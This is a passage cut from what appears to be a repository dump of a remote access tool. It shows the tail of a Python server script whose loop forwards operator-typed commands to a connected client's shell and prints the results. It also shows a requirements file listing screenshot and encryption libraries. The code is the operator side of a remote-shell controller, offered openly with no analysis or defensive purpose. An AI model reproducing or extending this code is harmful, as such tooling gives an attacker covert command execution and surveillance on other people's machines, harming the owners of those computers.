print(f"{Fore.GREEN}[Server] {Fore.WHITE}Exiting from active shell ...{Fore.RESET}") 108 | break 109 | # Disconnect client 110 | elif command.startswith("disconnect"): 111 | # Clear terminal window 112 | Clear() 113 | client.Disconnect() 114 | break 115 | # Execute shell command 116 | else: 117 | response = client.Shell(command) 118 | # Show output 119 | print(f"{Fore.WHITE}{response}{Fore.RESET}") 120 | 121 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pillow 2 | colorama 3 | argparse 4 | pycryptodome 5 | pyscreenshot 6 | --------------------------------------------------------------------------------